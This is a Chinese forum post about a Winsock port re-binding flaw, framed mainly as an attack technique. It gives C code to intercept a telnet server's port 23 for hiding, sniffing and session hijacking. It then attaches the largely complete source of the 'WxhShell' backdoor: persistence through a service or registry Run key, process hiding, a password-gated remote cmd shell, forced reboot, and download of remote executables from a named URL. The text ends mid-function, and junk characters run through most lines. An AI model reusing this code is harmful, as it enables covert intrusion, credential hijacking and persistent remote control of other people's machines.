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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Zw$ OKU  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ai;\@$ cq  
2dbRE:v5  
  saddr.sin_family = AF_INET; ?QpNjsF  
QCpM|,drS  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); , 2`~ NPb  
Y=2Un).&  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); q`Q}yE> 9  
"&QH6B1U6H  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 "!L kp2\  
KAc>-c<  
  这意味着什么?意味着可以进行如下的攻击: kuKa8c  
.y):Rh^  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。  ( Uk ,  
HI!4  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 3~%!m<1:  
K+),?Q ?.p  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。  >eS$  
4%_M27bu[  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。   `w<J25  
U<bYFuS"  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 %Kto.Xq  
Z'M`}3O  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 O4Dr ]Xc]  
tZho)[1  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 =~|:t&v=c  
m{(+6-8|m  
  #include K2ewucn  
  #include 6 bO;&  
  #include 'HaD~pa  
  #include    u%2KwRQ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   bd \=h1  
  int main() g>0vm2|  
  { 'Q|c@t  
  WORD wVersionRequested; Jqfm@Y  
  DWORD ret; Yx%bn?%;&  
  WSADATA wsaData; ]~jN^"o_B  
  BOOL val; 3,6Ox45  
  SOCKADDR_IN saddr; -s"0/)HD  
  SOCKADDR_IN scaddr; p538r[f<  
  int err; QK <\kVZ8  
  SOCKET s; pP.'wSj  
  SOCKET sc; hh"-w3+  
  int caddsize; F ?=9eISLJ  
  HANDLE mt; f)6))  
  DWORD tid;   Y &f\VNlT  
  wVersionRequested = MAKEWORD( 2, 2 ); {o|k.zy  
  err = WSAStartup( wVersionRequested, &wsaData ); M_1;$fWq  
  if ( err != 0 ) { ' 4 O-  
  printf("error!WSAStartup failed!\n"); k-jahm4  
  return -1; YfDWM7x7,  
  } I=rwsL  
  saddr.sin_family = AF_INET; 2<r\/-#pU  
   f8n V=AQ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 {IM! Wb  
}Dfwm)]Q  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); <hvRP!~<)  
  saddr.sin_port = htons(23); J;QUPpH Z  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Q{y{rC2P  
  { sYn[uPefj  
  printf("error!socket failed!\n"); Vxdp|  
  return -1; q=5l4|1  
  } :tj-gDa\Y  
  val = TRUE; SbT5u3,'  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ;Yts\4BSM  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Y A&`&$  
  { PkUd~c  
  printf("error!setsockopt failed!\n"); IVjU`ij  
  return -1; 7@;">`zvm  
  } ^mPPyT,(  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; (03pJV&K  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 8]"(!i_;)  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 r4{<Z3*N  
|g&ym Fc  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) [EZYsOr.  
  { %&+59vq   
  ret=GetLastError(); HuI`#.MpWE  
  printf("error!bind failed!\n"); \8v91g91f  
  return -1; h*l&RR:i  
  } W!la-n  
  listen(s,2); 1mgLX_U9  
  while(1) hYg'2OG  
  { kfrY1  
  caddsize = sizeof(scaddr); elO<a]hX  
  //接受连接请求 W>-B [5O&[  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 4na8  
  if(sc!=INVALID_SOCKET) x]4Kkpqm  
  { Gi?_ujZR  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); !@L=;1,  
  if(mt==NULL) ocQWQ   
  { v#oi0-9o[  
  printf("Thread Creat Failed!\n"); 3S~(:#|  
  break; dE(tFZx  
  } H[WQ=){  
  } lj[, |[X7`  
  CloseHandle(mt); gK1g]Tc@G  
  } !iu5OX7K|  
  closesocket(s); |+f-h,  
  WSACleanup(); 4< S'  
  return 0; VLvS$0(}Z  
  }   \ v2H^j/  
  DWORD WINAPI ClientThread(LPVOID lpParam) {6,|IGAq V  
  { LR&_2e^[  
  SOCKET ss = (SOCKET)lpParam; m5c&&v6%"b  
  SOCKET sc; ^twivNB  
  unsigned char buf[4096]; +wfVL|.Wq  
  SOCKADDR_IN saddr; /b[2lTC-e  
  long num; lP _db&  
  DWORD val; 7&%^>PU7  
  DWORD ret; :8f[|XR4\N  
  //如果是隐藏端口应用的话,可以在此处加一些判断 E3l*8F%<3  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   TkRP3_b  
  saddr.sin_family = AF_INET; lxb zHlX  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); I9 64  
  saddr.sin_port = htons(23); fg*@<'  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) OI/@3"L{  
  { W<,F28jI3v  
  printf("error!socket failed!\n"); x_<qzlQt  
  return -1; jgu*Y{ocm  
  } -"TR\/  
  val = 100; pV\YG B+  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) LBlN2)\@  
  { 6(V /yn ~  
  ret = GetLastError(); IApT'QNM  
  return -1; >,5i60Q  
  } #/-_1H  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `dkV_ O0  
  { [xlIG}e9  
  ret = GetLastError(); 1y"3  
  return -1; ^Z,q$Gp~P  
  } aMuVqZw  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) DDd/DAkCX  
  { })F*:9i*  
  printf("error!socket connect failed!\n"); 1=VJ&D;  
  closesocket(sc); VD7i52xS  
  closesocket(ss); /f{$I  
  return -1; U.oksD9 v  
  } _t>"5s&i  
  while(1) ot%.M*h-  
  { _^S]gmE  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 C"pB"^0  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 v ! hY  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 zqySm) o]  
  num = recv(ss,buf,4096,0); F2I 5q C/  
  if(num>0) x~DLW1I  
  send(sc,buf,num,0); !u|Tu4G^  
  else if(num==0) MmoR~~*  
  break; t%VDRZo7  
  num = recv(sc,buf,4096,0); ]`o!1(GA  
  if(num>0) Ud%s^A-qS  
  send(ss,buf,num,0); =\kMXB  
  else if(num==0) {3\R|tZh,`  
  break; wxQ>ifi9Z  
  } /BA{O&Ro^  
  closesocket(ss); al^!,ykc  
  closesocket(sc); x_w~G]! /  
  return 0 ; 0BU=)Swku  
  } + %*&.@z_  
Qs 2.ef?  
<, @%*G1-  
========================================================== #J\rv'  
*|:Q%xr-  
下边附上一个代码,,WXhSHELL 7L(e h7  
 J m{  
========================================================== ^_5|BT@  
&Z("D7.G  
#include "stdafx.h" n{5NNV6  
,XKCz ]8V  
#include <stdio.h> sH#X0fG  
#include <string.h> _=f=fcl  
#include <windows.h> epD?K  
#include <winsock2.h> @tUoD>f  
#include <winsvc.h> #Z,E><t  
#include <urlmon.h> ':h =*v8a  
Rd&9E  
#pragma comment (lib, "Ws2_32.lib") kyYLP"oB=  
#pragma comment (lib, "urlmon.lib") +g*k*e>l  
E9fxjI%1  
#define MAX_USER   100 // 最大客户端连接数  Gs0H@  
#define BUF_SOCK   200 // sock buffer k#>hg#G  
#define KEY_BUFF   255 // 输入 buffer (U1]:tZ<.  
*A}WP_ZQ  
#define REBOOT     0   // 重启 (GK pA}~R  
#define SHUTDOWN   1   // 关机 wEft4 o  
'o4p#`R:8  
#define DEF_PORT   5000 // 监听端口 XFwLz  
{<$b Aj  
#define REG_LEN     16   // 注册表键长度 f'En#-?O  
#define SVC_LEN     80   // NT服务名长度 Kyg=$^{>G  
<O~WB  
// 从dll定义API \FmKJ\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); PH3 >9/H  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,?cH"@ RJ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Zl/< w(f_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *<4Em{rZ5  
q ?j|K|%   
// wxhshell配置信息 `{K_/Cit  
struct WSCFG { oDB`iiBXQ  
  int ws_port;         // 监听端口 P 1>AOH2yG  
  char ws_passstr[REG_LEN]; // 口令 JgRYljQi2  
  int ws_autoins;       // 安装标记, 1=yes 0=no k;y w#Af8  
  char ws_regname[REG_LEN]; // 注册表键名 ]2SF9p_  
  char ws_svcname[REG_LEN]; // 服务名 \fWW'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 'cZN{ZMWG  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4\otq%Y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0$.m_0H  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |Bo .4lX  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _s.;eHp,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  \[:/CxP  
m}j:nk  
}; dR^"X3$  
aG`;OgrH  
// default Wxhshell configuration G5.nPsuM   
struct WSCFG wscfg={DEF_PORT, = duks\)O  
    "xuhuanlingzhe", ,Ds.x@p  
    1, Z=S>0|`R  
    "Wxhshell", /s:fW+C  
    "Wxhshell", bJ /5|E?  
            "WxhShell Service", _D7]-3uC!  
    "Wrsky Windows CmdShell Service", m#e3%150{  
    "Please Input Your Password: ", {D&9UZm  
  1,  UL@9W6  
  "http://www.wrsky.com/wxhshell.exe", s,]%dG!  
  "Wxhshell.exe" v;1F[?@3Y  
    }; n'FwM\  
J%C#V}z7E  
// 消息定义模块 KDP H6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; C(T;>if0NH  
char *msg_ws_prompt="\n\r? for help\n\r#>"; C#pZw[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >ezi3Zx^  
char *msg_ws_ext="\n\rExit."; 5II(mSg8  
char *msg_ws_end="\n\rQuit."; 2;3f=$3  
char *msg_ws_boot="\n\rReboot..."; Kn;D?ioY  
char *msg_ws_poff="\n\rShutdown..."; &BE  g  
char *msg_ws_down="\n\rSave to "; vV?rpe|%  
6X2PYJJZ  
char *msg_ws_err="\n\rErr!"; ow'Vz Ay-  
char *msg_ws_ok="\n\rOK!"; Mj=$y?d ]  
24c ek  
char ExeFile[MAX_PATH]; Ey[On^$  
int nUser = 0; F/d7q%I  
HANDLE handles[MAX_USER]; p>=[-(mt  
int OsIsNt; >x1p%^cA;=  
aolN<u3G  
SERVICE_STATUS       serviceStatus; KW^<,qt5w  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |]=2 }%1w  
revF;l6->C  
// 函数声明 5~sx:0;  
int Install(void); |R/.r_x,V?  
int Uninstall(void); yF._*9Q3hK  
int DownloadFile(char *sURL, SOCKET wsh); FyoEQ%.bI  
int Boot(int flag); tvKAIwe  
void HideProc(void); T GB_~Bqe  
int GetOsVer(void); T'-FV  
int Wxhshell(SOCKET wsl); "t=hzn"~%  
void TalkWithClient(void *cs); ~ (On|h  
int CmdShell(SOCKET sock); LjFqZrH  
int StartFromService(void); t`'iU$:1f  
int StartWxhshell(LPSTR lpCmdLine); 6R;3%-D  
q"qo.TPh|$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); zLw{ {|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); lq:}0<k  
zh I#f0c  
// 数据结构和表定义 6M.;@t,Y  
SERVICE_TABLE_ENTRY DispatchTable[] = ~I}9;XT  
{ ?|{XZQ~  
{wscfg.ws_svcname, NTServiceMain}, 1k%k`[VC  
{NULL, NULL} 0yM[Z':i'{  
}; bAk&~4Y_"  
T^<>Xiam  
// 自我安装 r\6"5cQ=  
int Install(void) $h[Q Q-  
{ 6 9y;`15  
  char svExeFile[MAX_PATH]; S{Hx]\  
  HKEY key; 9Mp$8-=>7  
  strcpy(svExeFile,ExeFile); g.JN_t5  
2?C`4AR[2H  
// 如果是win9x系统,修改注册表设为自启动 3VnQnd E  
if(!OsIsNt) { |%a4` w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /Ss7"*JLe  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %h"z0@+  
  RegCloseKey(key); d'6|:z9c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w@\vHH.;V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hG~reVNf  
  RegCloseKey(key); @Y,7'0U  
  return 0; hJz):d>Im  
    } ?Ucu#UO  
  } HBE.F&C88  
} AGP("U'u  
else { ^\:8w0Y^  
"& Dx=Yf  
// 如果是NT以上系统,安装为系统服务 q_W0/Ki8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {yU+)t(.  
if (schSCManager!=0)  >YtdA  
{ $2D uB  
  SC_HANDLE schService = CreateService dBV7Te4L  
  ( D<i[LZd  
  schSCManager, Fk;o E'"D  
  wscfg.ws_svcname, {+<P:jbz;  
  wscfg.ws_svcdisp, 2g9 G{~,@g  
  SERVICE_ALL_ACCESS, # {fTgq  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , H=g.34  
  SERVICE_AUTO_START, X;F?:Iw\  
  SERVICE_ERROR_NORMAL, 8;Fn7k_Uf  
  svExeFile, V}o n|A  
  NULL, 39F O f  
  NULL, M~*u;vA/  
  NULL, |IoB?^_h  
  NULL, IL/Yc1  
  NULL -F"Q EL#  
  ); Rv,JU6>i  
  if (schService!=0) I V%VU  
  { /y7M lU9  
  CloseServiceHandle(schService); 9mc!bj^811  
  CloseServiceHandle(schSCManager); R2L;bGI*J  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ./j,Z$|  
  strcat(svExeFile,wscfg.ws_svcname); |wEN`#.;b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { o'~5pS(wq  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -V"22sR]  
  RegCloseKey(key); K ]OK:hY4  
  return 0; I2$T"K:eo  
    } $GQ`clj<  
  } _sE#)@p  
  CloseServiceHandle(schSCManager); kc'pN&]r:  
} Ll4bdz,  
} C'=k&#<-  
{y]mk?j  
return 1; '$As<LOEd/  
} Q(d9n8  
rKHY?{!  
// 自我卸载 Fhz*&JC#  
int Uninstall(void) l:6,QaT1  
{ @=]~\[e\  
  HKEY key; }u+a<:pkK  
6<,dRn  
if(!OsIsNt) { m]_FQWfet  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qQi.?<d2"s  
  RegDeleteValue(key,wscfg.ws_regname); thO ~=RB  
  RegCloseKey(key); Ko&hj XHx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !}\4u tHY  
  RegDeleteValue(key,wscfg.ws_regname); /<CSVJ_r  
  RegCloseKey(key); @\oz4^  
  return 0; v]% WH~>  
  } dLsn\m>  
} xCzebG["  
} _ 7PMmW@  
else { >StO.Q99  
5G0 $  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); YI-O{U  
if (schSCManager!=0) b 6t}{_7  
{ DcMJ^=r8O:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); D47R  
  if (schService!=0) dt[k\ !-v  
  { mDGn:oRj  
  if(DeleteService(schService)!=0) { @cRZk`|1n  
  CloseServiceHandle(schService); wi8Yl1p]!z  
  CloseServiceHandle(schSCManager); }~h'FHCC+  
  return 0; 6~#Ih)K  
  } HIGq%m=-x  
  CloseServiceHandle(schService); ;U: {/  
  } { 74mf'IW  
  CloseServiceHandle(schSCManager); sG~<M"znV  
} 'sp-%YlM -  
} q'oMAMf}  
zL5d0_E9  
return 1; 8,O33qwH  
} %xlqF<  
v{i7h|e  
// 从指定url下载文件 =.|J!x  
int DownloadFile(char *sURL, SOCKET wsh) S~qZr  
{ x 5dWBGH  
  HRESULT hr; P3 c\S[F  
char seps[]= "/"; <]C$xp<2  
char *token; Nf3.\eR  
char *file; Bb&^ {7  
char myURL[MAX_PATH]; #QvMVy  
char myFILE[MAX_PATH]; o ]Jv;Iy@?  
s{ V*1$e~  
strcpy(myURL,sURL); Q "oI])r  
  token=strtok(myURL,seps); UgB'[@McS  
  while(token!=NULL) 2>} xhQJ  
  { C^t(^9  
    file=token; =S[yE]v^  
  token=strtok(NULL,seps); 0Iud$Lu  
  } ?::NO Dg  
w(L>#?  
GetCurrentDirectory(MAX_PATH,myFILE); ^1:U'jIXO  
strcat(myFILE, "\\"); oIGrA-T}  
strcat(myFILE, file); 9p$V)qdX  
  send(wsh,myFILE,strlen(myFILE),0); eMOD;{Q?X  
send(wsh,"...",3,0); k~%<Ir1V]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2=-utN@Z  
  if(hr==S_OK) m6eZ_ &+u  
return 0; q0%  
else wn Y$fT9  
return 1; D7]# Xk2  
_$<Gyz*  
} c8)/:xxl  
|vte=)%  
// 系统电源模块 8$|8`;I(  
int Boot(int flag) ERUt'1F?]  
{ kE.x+2  
  HANDLE hToken; I O%6 O  
  TOKEN_PRIVILEGES tkp; dAP|:&y@  
2LCB])X  
  if(OsIsNt) { M)?dEgU}M  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~mV"i7VX  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); g#NZ ,~  
    tkp.PrivilegeCount = 1; _a_xzv'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; YL jHt\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); rI5F oh6  
if(flag==REBOOT) { vgn@d,v  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) UX`]k{Mz  
  return 0; 71#I5*8  
} Z'pQ^MO  
else { )oo~m\`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3qHQX?a  
  return 0; _FbC{yI8;  
} d-bqL:/  
  } ZaFb*XRgS  
  else { s"=6{EVqk3  
if(flag==REBOOT) { ?3z-_8#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) BE&B}LfvfO  
  return 0; Xqp|VbDca  
} JXiZB 8}  
else { {P8[X@Lu  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) e{({|V '  
  return 0; @/ J [t  
} `&M{cfp_  
} 2Zuq?1=  
,O1O8TwUB0  
return 1; QVZD/shq  
} d "BW/%m|g  
@Un/c:n  
// win9x进程隐藏模块 r#WT`pav  
void HideProc(void) va/m~k|i  
{ HLQ"?OFlz  
w&Dv8Wv+Oq  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?&WYjTU]H  
  if ( hKernel != NULL ) C2]Kc{4  
  { < (RC|?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); x+? 9C  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1rw0sAuGy  
    FreeLibrary(hKernel); W]<$0  
  } W [[oSqp  
gOT+%Ab{_  
return; )/4(e?%=  
} | sqZ$Mu  
R~L0{` 0  
// 获取操作系统版本 tc_f;S`k  
int GetOsVer(void) wYeB)1.  
{ h*0S$p<[1  
  OSVERSIONINFO winfo; {s,+^7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); y$ Zj?Dd#  
  GetVersionEx(&winfo); > 1L=,M  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) PZ:u_*Vu`  
  return 1; I^*'.z!4Q  
  else 1`f_P$&Z_J  
  return 0; @ \.;b9  
} "SWMk!  
-9P2`XQ^  
// 客户端句柄模块 VeiElU3  
int Wxhshell(SOCKET wsl) &zL#hBE  
{ Zr$d20M2A;  
  SOCKET wsh; '/0#lF  
  struct sockaddr_in client; W:&R~R  
  DWORD myID; k!jNOqbb  
m:tiY [c>W  
  while(nUser<MAX_USER) b yg0.+e0  
{ kg5ev8  
  int nSize=sizeof(client); Eu@5L9A  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \`'KlF2  
  if(wsh==INVALID_SOCKET) return 1; Qx|H1_6  
`znB7VQ0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); q)u2Y]  
if(handles[nUser]==0) @b&84Gn2 r  
  closesocket(wsh); 78#!Q.##  
else ;'T{li2  
  nUser++; -P=g3Q i  
  } p?(L'q"WK  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {B$2"q/~  
fT:}Lj\L1  
  return 0; )\/ =M*  
} ClW'W#*(Y  
KHiFJ_3  
// 关闭 socket T*2C_oW  
void CloseIt(SOCKET wsh) 4C_c\;d  
{ \L!uHAE2a  
closesocket(wsh); L6:h.1 U$  
nUser--; <T,A&`/  
ExitThread(0); =?@Q -(bp  
} khd5 Cf[   
'aJgLws*w  
// 客户端请求句柄 Lrz3   
void TalkWithClient(void *cs)  ~m=EM;  
{ Hy; Hs#  
hP?fMW$V  
  SOCKET wsh=(SOCKET)cs; ^~ =9  
  char pwd[SVC_LEN]; BW[5o3 i  
  char cmd[KEY_BUFF]; N?r>%4  
char chr[1]; 6o3T;h  
int i,j; \9c$`nn  
V}8$p8#<@  
  while (nUser < MAX_USER) { kka"C]!  
pck>;V  
if(wscfg.ws_passstr) { -<f/\U  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F%.xuLW  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AMlV%U#  
  //ZeroMemory(pwd,KEY_BUFF); @Z(rgF{{  
      i=0; x2wg^$F*oO  
  while(i<SVC_LEN) { 6k0^x Q  
HQVh+(  
  // 设置超时 c,5n, i  
  fd_set FdRead;   -/{af  
  struct timeval TimeOut; ,TC~~EWq  
  FD_ZERO(&FdRead); t\y-T$\\  
  FD_SET(wsh,&FdRead); V% axeqs  
  TimeOut.tv_sec=8; R"xp%:li  
  TimeOut.tv_usec=0; q=c/B(II!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); M]_E  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <&#+ E%E4  
Q |hm1q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x !{   
  pwd=chr[0]; ziL^M"~2  
  if(chr[0]==0xd || chr[0]==0xa) { R9dP,<2  
  pwd=0; BA+_C]%ZJ  
  break; L'kq>1QWf  
  } r2eQ{u{nX  
  i++; Dx+ K+(  
    } Ek .3  
rg& +  
  // 如果是非法用户,关闭 socket Vu]h4S:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "n?<2 wso  
} 6 DP[g8  
>9(i)e  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2_pz3<,\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :$H!@n*/R  
k$[{n'\@  
while(1) { 'F_}xMU  
}=@zj6AC  
  ZeroMemory(cmd,KEY_BUFF); D1"7s,Hmu  
X , ZeD  
      // 自动支持客户端 telnet标准   I-:` cON=G  
  j=0; 1bRL"{m^)-  
  while(j<KEY_BUFF) { m6n hC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7kz-V.  
  cmd[j]=chr[0]; 'U)8rR  
  if(chr[0]==0xa || chr[0]==0xd) { 0'yyfz  
  cmd[j]=0; h5onRa *7  
  break; olty4kGD$V  
  } |~$7X  
  j++; z+"0>ZN&  
    } b=LF%P  
< 5ZJ]W  
  // 下载文件 c4|so=  
  if(strstr(cmd,"http://")) { :C%47qv  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9*pG?3*I  
  if(DownloadFile(cmd,wsh)) 1%eLs=u?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /yYlu  
  else xH$%5@~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T-P@u-DU  
  } T T"3^@  
  else { .cR*P<3O  
_i@x@:_l  
    switch(cmd[0]) { % 0v*n8  
  ;BTJ%F.  
  // 帮助 )73DT3-0$  
  case '?': { 5Rs?CVVb  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >eo8  
    break; %FS;>;i?  
  } \{>eOD_  
  // 安装 FOp_[rR   
  case 'i': { >B~?dTm  
    if(Install()) MZ^Ch   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >sV Bj(f  
    else r}@< K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~ 7BX@?  
    break; Qa?Q bHc  
    } \>[gl!B_Rr  
  // 卸载 M9g1d7%  
  case 'r': { AI fk"2  
    if(Uninstall()) w:R]!e_6\9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V'yxqI?  
    else yHw!#gWM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YPQCOG  
    break; ~%GSsm\J  
    }  * D3  
  // 显示 wxhshell 所在路径 w{ m#Yt  
  case 'p': { 4H9xO[iM  
    char svExeFile[MAX_PATH]; JWSq"N  
    strcpy(svExeFile,"\n\r"); :wCC^Y]  
      strcat(svExeFile,ExeFile); _6I>+9#C  
        send(wsh,svExeFile,strlen(svExeFile),0); SD I,M  
    break; CU !.!cZ{  
    } fW[.r==Kf  
  // 重启 EQ~I'#m7  
  case 'b': { "b;k.Fx  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ke</x+\F  
    if(Boot(REBOOT)) }'_:XKLj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZArf;&8  
    else { Oi#k:vq4  
    closesocket(wsh); s @3 zx  
    ExitThread(0); JgZdS-~  
    } Ua!Odju*w  
    break; Cj=J;^vf  
    } 'Sk6U]E~  
  // 关机 h@/>?Va  
  case 'd': { W.sD2f  
